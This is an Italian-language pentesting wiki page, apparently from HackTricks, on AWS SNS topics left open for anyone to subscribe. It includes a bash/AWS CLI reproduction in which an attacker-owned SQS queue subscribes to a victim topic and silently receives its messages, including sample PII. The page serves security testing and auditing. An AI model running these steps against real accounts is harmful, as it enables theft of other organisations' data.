# AWS - SNS Unauthenticated Enum

{{#include ../../../../banners/hacktricks-training.md}}

## SNS

Per maggiori informazioni su SNS consulta:

{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}

### Aperto a tutti

Quando configuri un topic SNS dalla web console, è possibile indicare che **Everyone can publish and subscribe** al topic:

<figure><img src="../../../../images/image (212).png" alt=""><figcaption></figcaption></figure>

Quindi, se trovi l'ARN dei topic all'interno dell'account (o effettuando brute forcing sui possibili nomi dei topic), puoi verificare se puoi **publish** o **subscribe** a **them**.

Questo equivale a una resource policy di un topic SNS che autorizza `sns:Subscribe` a `*` (o ad account esterni): qualsiasi principal può creare una subscription che consegna tutti i futuri messaggi del topic a una SQS queue di cui è proprietario. Quando il proprietario della queue avvia la subscription, non è richiesta alcuna conferma umana per gli SQS endpoints.

<details>
<summary>Riproduzione (us-east-1)</summary>
```bash
REGION=us-east-1
# Victim account (topic owner)
VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)

# Open the topic to anyone subscribing
cat > /tmp/topic-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"OpenSubscribe","Effect":"Allow","Principal":"*","Action":"sns:Subscribe","Resource":"$VICTIM_TOPIC_ARN"}]}
JSON
aws sns set-topic-attributes --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --attribute-name Policy --attribute-value file:///tmp/topic-policy.json

# Attacker account (queue owner)
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name attacker-exfil-queue-$(date +%s) --region $REGION --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Allow the victim topic to send to the attacker queue
cat > /tmp/sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowVictimTopicSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$ATTACKER_Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$VICTIM_TOPIC_ARN"}}}]}
JSON
aws sqs set-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attributes Policy="$(cat /tmp/sqs-policy.json)"

# Subscribe the attacker queue to the victim topic (auto-confirmed for SQS)
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --protocol sqs --notification-endpoint "$ATTACKER_Q_ARN" --query SubscriptionArn --output text)

# Validation: publish and receive
aws sns publish --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --message {pii:ssn:123-45-6789}
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --query Messages[0].Body --output text
```
</details>

{{#include ../../../../banners/hacktricks-training.md}}
